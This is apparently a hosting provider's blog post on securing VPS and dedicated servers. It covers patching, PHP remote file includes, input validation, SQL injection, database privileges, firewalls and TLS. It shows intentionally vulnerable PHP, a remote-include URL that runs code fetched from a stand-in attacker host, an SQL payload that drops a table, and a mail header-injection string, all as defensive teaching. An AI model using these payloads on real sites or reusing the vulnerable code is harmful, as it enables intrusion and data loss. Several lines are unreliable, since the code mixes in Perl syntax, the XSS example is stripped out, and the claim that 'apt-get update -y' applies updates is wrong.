After my last post on our VPS platform, we had a question from one of our customers, Neil, about VPS and dedicated server security. So in this next article, I am going to talk about security, offer tips and discuss best practice which will allow you to secure your VPS or dedicated server (the principles are identical) itself, the sites it hosts, and also some things you can to prevent other kinds of attack outside of the scope of your server/sites.
Being part of Europe’s largest group of hosting and domain companies, we host a *lot* of websites, and we supply a very large number of dedicated and virtual servers. This puts us in a position that allows us to witness a wide range attacks on people’s sites and servers.
In the overwhelming number of cases, these attacks could have been prevented by following some very simple guidelines. I’m going to start with the easy ones, and finish off with the more difficult ones.
Turn On Auto Updates
On a linux machine, this is as simple as adding a daily cronjob which would run with “yum update -y” for a CentOS machine, “apt-get update -y” for a Debian/Ubuntu machine, or turning on auto-updates in Windows.
As the owner of a server, you have the responsibility to check whether updates have been applied (check your cronjob emails or auto-update in Windows). If a new kernel has been applied, then you must reboot your server. Sometimes this is unavoidable, so schedule downtime with your clients.
Secure PHP
PHP sites form the vast majority of cracks which take place on our platform.This is not because PHP is inherently insecure, it’s because it allows developers to write code that can easily be exploited.
The number one way of cracking a PHP site is using remote file includes by accident. Here is a very small PHP script:
<?php
my $page_to_run = $_GET[‘page’];
include($page_to_run . “.php”);
?>
This might look like a very simple dispatcher page, so your sites URLs would look like below
https://www.mysite.com/index.php?page=welcome
https://www.mysite.com/index.php?page=contactus
But, because of the flexibility of PHP, all a user has to do is host a text file somewhere on the internet (at the URL https://www.evilsite.com/evilscript.php) containing PHP code, and he can have his own code executed in your site, by using this URL:
https://www.mysite.com/index.php?page=https://www.evilsite.com/evilscript
And boom, your site has been cracked. This is because PHP can tell the difference between files and URLs, and will happily open a network connection and go and get this file for you, and run it in your site.
Ways around this include validating the input from the $_GET hash, to make sure they don’t look like URLs, and another very one is to setup a php.in (or a php5.ini file) with these directives in it:
allow_url_include = 0
allow_url_fopen = 0
We don’t do this by default on our platform because we simply can’t assume that people won’t want to use these features (they’re on by default in PHP), but they can be turned off easily using the above.
Validate All Input
This might sound like an obvious one, but it’s scary how often simple input validation can save you from something nasty. It can be used to protect you from simple things such as…
cross-site-scripting – entering your name as:
Joe Bloggs
into a site without validation will never display the evil, but your evil javascript will be running every time your name is displayed in a webpage.
spam from contact forms – it’s very easy to trick an insecure contact form into sending email on your behalf. If it contains a “From:” address field (i.e., the visitor), manipulation of this can make the MTA (the mailing software on the server running the website) obey other headers, e.g., CC or BCC. So, if you type the following into a “visitor email address” box:
sender@somedomain.com;rncc: vicitim-of-spam@somedomain.com
Then the mailer will send whatever you type into the message box to vicitim-of-spam@somedomain.com as well.
SQL injection – Your website probably needs a database; you know you want your database secure, but too many people are quite happy to code a website which passes user input from the website straight to the database server without checking it. Let’s say you have this piece of (pseudo) code:
<?php
$query = $_GET[‘q’];
$results = mysql_exec(“SELECT * FROM table WHERE terms LIKE ‘$query’”);
display_results($results);
?>
It is possible for me to enter the following as the value for query (taken from the HTML q form field):
blahblah‘; DROP TABLE terms;
This means that the database will execute the following:
SELECT * FROM table WHERE terms LIKE ‘blahblah’; DROP TABLE terms;
So, with this in mind, you can basically make the database execute anything you want. One better practice is, obviously, validate user input, but the proper way is to use placeholders. The code would look something like this:
<?php
$query = $_GET[‘q’];
$results = mysql_exec(“SELECT * FROM table WHERE terms LIKE ?”, $query);
display_results($results);
?>
So the server knows that the only value that can change is marked by “?” (the placeholder), and that it comes from the $query variable – it will escape it as necessary. That way, people cannot inject their own SQL into your server. This leads us onto…
Keep DB Users As Unprivileged As Possible
The likelihood is that your site will do lots of SELECTing from the database, but comparatively little UPDATE, DELETE or INSERTing. It may not even need to use all of the tables. The database user which provides the access for the website should have the absolute minimum level of privileges.
Different websites accessing the same database (but different sets of data) should each have their own database user.
It is also very bad practice to use the database server master user. I know it can be tempting to “just use it” because it’s setup and it will work, but the consequences can be a disaster. Here are some examples of how to setup users in MySQL and give them specific table/column access.
GRANT USAGE ON *.* to ‘websiteuser’@’22.33.44.55’ IDENTIFIED BY ‘a_strong_password’;
GRANT SELECT, INSERT, UPDATE, DELETE ON ‘tablea’.* TO ‘websiteuser’@’22.33.44.55’;
GRANT SELECT (id, name) ON ‘tableb’.* TO ‘websiteuser’@’22.33.44.55’;
GRANT INSERT ON ‘tablec’.* TO ‘websiteuser’@’22.33.44.55’;
This sets up a user called “websiteuser” with password “a_strong_password” who can only connect from the server at IP address 22.33.44.55. He has all permissions on tablea, he can only SELECT columns id and name from tableb, and he can only insert into tablec.
User Isolation
If you are hosting more than one site on your server, each site’s code should execute as a different system user. The idea is that if one site is cracked, it cannot affect the other sites on the server: this also form the very basis of shared hosting; usera cannot harm the site of userb.
Setup of this is very much beyond the scope of this article, however the technologies users are called SuExec and suPHP. However, don’t panic, we provide two control panels which will take care of this for you, cPanel and Plesk. Both are available as control panel extras for CentOS. If you have a non CentOS (but still Linux) dedicated server or VPS, want to isolate your sites, but don’t know how, we’d recommend switching to CentOS and using cPanel or Plesk.
Websites under IIS on Windows run as separate users already.
Use Strong Passwords
Again, another common sense one, but use strong password for your admin areas, SSH, database users, Remote Desktop, everything.
A very common way to quickly generate a strong password is to use openssl from the command line on just about any Linux (or UNIX) box:
[ricky@fibrosis ~]$ openssl rand -base64 12
6kxT6u6kIHjmpTVW
So, there’s me generating a decent length password in no time at all. Don’t reuse password, just generate a new one every time you need one!
Firewall
All modern Windows and Linux desktops provide a software firewall. The following is a very simple example of setting up iptables on a Linux machine to allow HTTP traffic and SSH traffic, and to drop all other traffic. The file would go into /etc/sysconfig/iptables on a CentOS/Fedora box.
*filter
:INPUT ACCEPT [368:102354]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [92952:20764374]
-A INPUT -i lo -j ACCEPT
-A INPUT -m conntrack—ctstate RELATED,ESTABLISHED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp—dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp—dport 80 -j ACCEPT
-A INPUT -j DROP
COMMIT
To allow inbound email (SMTP) add the following before the DROP line:
-A INPUT -i eth0 -p tcp -m tcp—dport 25 -j ACCEPT
To allow IMAP and POP, add these:
-A INPUT -i eth0 -p tcp -m tcp—dport 143 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp—dport 110 -j ACCEPT
You can see how these build up. Please see your vendor’s documentation for more details on iptables (it’s can get quite complex). Windows comes with a visual firewall whose services can be checked and unchecked as necessary.
Use TLS (SSL) Where Possible
This one isn’t something you do on your server, but a practice you do at home or in the office. If you can use https instead of http, do it, if you can use IMAPs instead of IMAP, do it… If you can use SSL for your email, do it. This limits any outside attacks (people listening to your traffic if you’re at an internet cafe for example), and will also prevent viruses on your computer sniffing out your passwords.
Comments
Please remember that all comments are moderated and any links you paste in your comment will remain as plain text. If your comment looks like spam it will be deleted. We're looking forward to answering your questions and hearing your comments and opinions!